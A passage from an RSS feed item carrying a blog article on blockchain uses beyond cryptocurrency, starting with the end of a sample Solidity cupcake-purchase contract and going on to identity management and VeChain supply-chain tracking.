    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;purchase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kr"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nx"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;You must pay at least 1 ETH per cupcake&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cupcakeBalances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Not enough cupcakes in stock to complete this purchase&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;cupcakeBalances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;cupcakeBalances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;The potential applications of smart contract technology are essentially limitless and could extend to almost any field of business in which contract law would normally apply.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Smart contracts remain one of the most exciting ways that blockchain technology has already extended beyond the cryptocurrency space and into the broader business world.&lt;/p&gt;




&lt;h2&gt;
  
  
  Identity Management
&lt;/h2&gt;

&lt;p&gt;One of the most problematic results of the internet age has been identity security. As diligent as many individuals and organizations are in maintaining their online identities and securing private information, there are always nefarious actors looking to steal and profit off of these digital items. Blockchain technology has already demonstrated the potential for transforming the way that online identity management takes place.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--74q2db5f--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://s27389.pcdn.co/wp-content/uploads/2020/04/signicat-acquires-connectis-create-stronger-digital-identity-platform-1024x440.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--74q2db5f--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://s27389.pcdn.co/wp-content/uploads/2020/04/signicat-acquires-connectis-create-stronger-digital-identity-platform-1024x440.jpeg" alt="Blockchain_Identification_Management" width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Blockchain offers a tremendous level of security, thanks to independent verification processes that take place throughout member computers on a blockchain network.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In digital currency cases, this verification is used to approve transaction blocks before they are added to the chain. This mechanism could just as easily be applied to other types of verification procedures, including identity verification and many other applications as well.&lt;/p&gt;

&lt;p&gt;The applications for blockchain and identity management are wide-ranging. For instance, blockchain could potentially be used to aid in maintaining voter information and ensuring proper functioning &lt;br&gt;
of the electoral process. Blockchain could be used to securely and efficiently transfer user data across platforms and systems. The technology could also be used to maintain and protect records of real estate ownership, titles, and more.&lt;/p&gt;




&lt;h2&gt;
  
  
  Supply Chain Uses
&lt;/h2&gt;

&lt;p&gt;For many businesses across various industries, a key to success is a well-functioning, efficient supply chain. Blockchain technology has already been used in multiple industries as a means of keeping tabs on supply chains and ensuring their efficiency. This could eliminate human work and the potential for error from a complex and crucial process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vechain
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.vechain.org/"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dZxJQYzl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://u.today/sites/default/files/2019-12/VeChain%2520News.jpg" alt="Vechain" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Examples of How VeChain Can Be Used
&lt;/h4&gt;

&lt;p&gt;The VeChain platform can be used to track quality, authenticity, storage temperature, transportation medium, and last-mile delivery of a medicine pack or an alcohol bottle right from the manufacturing facility through to the final delivery to the end customer. To accomplish this goal, VeChain uses smart chips or Radio Frequency Identification (RFID) tags and sensors that broadcast key information onto the blockchain network that can be accessed in real-time by authorized stakeholders.&lt;/p&gt;

&lt;p&gt;The application of sensors means that all parameters related to the product can be constantly monitored and problems, if any, can be communicated back to the relevant stakeholders. Manufacturers and customers are informed if a drug packet is stored outside a prescribed temperature range, allowing for service improvements and better quality control.&lt;/p&gt;

&lt;p&gt;In another example, the VeChain platform can enable automobile owners to own their data and use it to negotiate better terms and policies with their insurance companies.&lt;/p&gt;




&lt;h6&gt;
  
  
  Attribution
&lt;/h6&gt;

&lt;h6&gt;
  
  
  &lt;a href="https://www.investopedia.com/tech/forget-bitcoin-blockchain-future/"&gt;NATHAN REIFF&lt;/a&gt;
&lt;/h6&gt;

</description>
    </item>
  </channel>
</rss>
